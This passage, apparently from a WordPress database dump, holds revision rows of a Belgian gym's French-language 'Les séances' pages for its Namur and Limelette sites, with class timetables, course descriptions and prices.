vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:28:46', '2013-11-03 09:28:46', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(412, 1, '2013-11-03 09:29:00', '2013-11-03 09:29:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;Séances de la salle de Limelette :&lt;/h1&gt;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:29:00', '2013-11-03 09:29:00', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(413, 1, '2013-11-03 09:29:58', '2013-11-03 09:29:58', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:29:58', '2013-11-03 09:29:58', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(414, 1, '2013-11-03 09:30:41', '2013-11-03 09:30:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td 